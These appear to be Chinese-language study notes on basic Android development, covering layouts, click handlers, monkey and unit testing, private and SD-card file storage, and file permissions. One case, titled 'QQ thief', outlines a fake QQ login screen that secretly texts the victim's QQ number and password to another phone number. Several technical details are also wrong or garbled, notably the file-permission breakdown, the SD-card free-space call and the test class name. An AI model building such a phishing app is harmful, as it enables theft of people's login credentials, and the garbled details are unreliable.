博客内容提要:
- 01.单元测试的操作步骤
- 02.私有文件API的操作
- 03.外部存储SDcard的使用
- 04.文件访问权限
1.常见单位
- px 实际像素: 真实物理像素(不推荐使用)
- dp 独立像素: 相对设备的像素
- sp 比例像素: 应用于文字的大小
2.案例–QQ大盗
1.layout设计
- LinearLayout标签下设置gravity=”center_horizontal”,让其子控件居中显示
- 标签: 插入图片,属性: android:src=”@drawable/dyr”,图片来源
- 标签: 文本输入,属性hint=”提示内容”: 提示输入内容,属性inputType=”textPassword”: 输入的密码用”.”替换
2.关心控件:定义字段,找到控件: 文本控件,button控件
3.设置点击事件: bt_login.setOnClickListener(this);实现OnClickListener接口
逻辑判断
- 判断字符串是否为空TextUtils.isEmpty(String aa)
- SmsManager 发送短信对象获取方法SmsManager.getDefault()
- smsManager.sendTextMessage(“5556”, null, qq+”–”+psd, null, null);
4.设置权限发送短信权限: android.permission.SEND_SMS
3.按钮点击事件的四种写法
-
- 内部类实现接口
-
- 匿名内部类
-
- 让本类实现onclickListener接口(真对多个控件,开发中常用)
-
- xml文件设置点击事件,绑定方法
4.测试
-
- 黑盒测试: 不知道源代码,只测试输入和输出
-
- 白盒测试: 知道源代码,可以编写一些辅助逻辑进行测试
-
- 压力测试: PressureTest ,给后台用的,主体向被观察者布置一定量任务和作业,借以观察个体完成任务的行为。
-
- 冒烟测试:在Android环境中,通过monkey,在命令行中输入add shell,进入Linux命令,即可测试,常用测试命令:测试整个系统: monkey count(事件次数); 测试某个程序: monkey -p 包名事件的数量。
简单压力测试步骤:
-
- 命令框输入adb shell
-
- # 下输入monkey
-
- 输入测试次数 monkey 次数
3.单元测试
* 1. src下创建测试包:写一个类继承AndroidTextCase
* 2. 创建方法向测试框架抛出异常(方法必须用public修饰)
* 1.在方法中创建需要测试的对象
* 2.调用需要测试的逻辑,获取到测试结果
* 3.调用assertEquals(实际结果, 测试所的结果);比较实际结果与测试所得结果
* 3. 在清单文件配置:测试指令: <instrumentation android:name="android.test.InstrumentationTestRunner"
android:targetPackage="com.itheima.test"></instrumentation>及测试jar包(包名:R文件包名): <uses-library android:name="android.test.runner"/>
* 4. 运行单元测试:打开测试类AndroidTextCase所在的类
–>在outline视图里面运行–>如果显示绿条表示测试成功,代码OK||如果红条表示测试失败,代码有问题
5. 数据存储
入门案例
- qq登录界面思路
- 1.设置layout:
- 采用线性布局,在开头设置gravity=”center_horizontal”属性,让其子控件居中显示
- 设置文本输入控件EditText,多选框CheckBox及登录按钮Button
- 2.找到关系控件,设置按钮监听事件,让本类继承OnClickListener接口,并重写它的方法
- 3.写业务逻辑:
- 1>. 获取文本输入内容(即qq号及密码),判断qq及密码不能为空(TextUtils.isEmpty(qq))
- 2>. 判断是否记勾选复选框,如果选择,将输入的密码及qq保存到应用私有文件夹中(i/o流)
- 3>. 讲数据回显到文本框中: 读入流BufferedReader,读取文件,分割获取到的字符串,讲字符串显示到文本框中et_qq.setText(String string);
文件存储(Android的Java程序是运行在安卓系统中的,文件是不能存储在项目中的)
- 私有文件存储: 应用程序可以把文件存储在自己的文件夹中(文件目录: this.getFilesDir();及缓存目录: this.getCachDir();)
- 外部文件存储: 应用程序可以把文件存储在sd卡中,需要给权限(可读及可写及)
- 1.检查SD卡是否处于挂载: Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED);
- 2.检查SD卡的可用空间: long size = Environment.getDownloadCacheDirectory().getFreeSpace();String fileSize = Formatter.formatFileSize(this, size);
- 将文件中密码和qq回显
6. Android中的上下文:
- this.getFilesDir();//==/data/data/包名(R文件所在的包)/file file目录保存重要的配置信息
- this.getCachDir();//==/data/data/包名(R文件所在的包)/cache 缓存目录,保存一些不重要的临时文件(当系统内存不足是系统会自动清除缓存)
7. 文件权限
- 应用程序在data/data/自己包名中的文件是私有的,不能被其他应用程序读取
- -rwxrwx—
- 从左到右:
- 文件主权限(用户): 1.”-“表示文件类型; 2.”r”表示文件可读; 3.”x”可执行或可执行的 ;
- 组用户权限(群组): 4.”-“表示文件类型; 5.”r”表示文件可读; 6.”x”可执行或可执行的 ;
- 其它用户权限(其它): 6,7,8 表示无存储权限.